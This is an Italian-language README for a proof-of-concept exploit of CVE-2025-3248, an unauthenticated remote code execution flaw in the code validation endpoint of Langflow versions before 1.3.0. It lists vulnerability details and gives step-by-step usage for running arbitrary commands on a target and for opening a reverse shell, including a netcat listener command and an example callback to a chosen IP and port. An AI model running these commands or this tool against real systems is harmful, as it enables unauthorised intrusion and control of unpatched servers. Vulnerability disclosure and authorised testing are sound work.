CVE-2025-3248 - RCE sull'endpoint di validazione del codice di Langflow

Un proof-of-concept che dimostra una vulnerabilità di esecuzione remota di codice nell'endpoint di validazione del codice di Langflow. La vulnerabilità interessa le versioni di Langflow precedenti alla 1.3.0 e consente a utenti non autenticati di eseguire codice arbitrario tramite richieste HTTP appositamente predisposte.

Dettagli della vulnerabilità

• ID CVE: CVE-2025-3248
• Versioni interessate: < 1.3.0
• Vettore d'attacco: Remoto
• Autenticazione richiesta: No
• Impatto: Esecuzione remota di codice (RCE)
• Endpoint: /api/v1/validate/code

Prerequisiti

• Python 3.x
• Pacchetti Python richiesti:
  • requests
  • colorama

Installazione

1. Clona il repository:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. Installa le dipendenze:

pip install requests colorama

Utilizzo

L'exploit supporta due modalità di funzionamento:

1. Modalità di esecuzione comandi

Esegue un singolo comando sul sistema target:

python3 cve-2025-3248.py cmd <target_url> "<command>"

Esempio:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Modalità reverse shell

Avvia una shell interattiva inversa:

1. Per prima cosa, avvia un listener sulla tua macchina:

nc -lvnp 4444

2. Poi esegui l'exploit:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Esempio:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444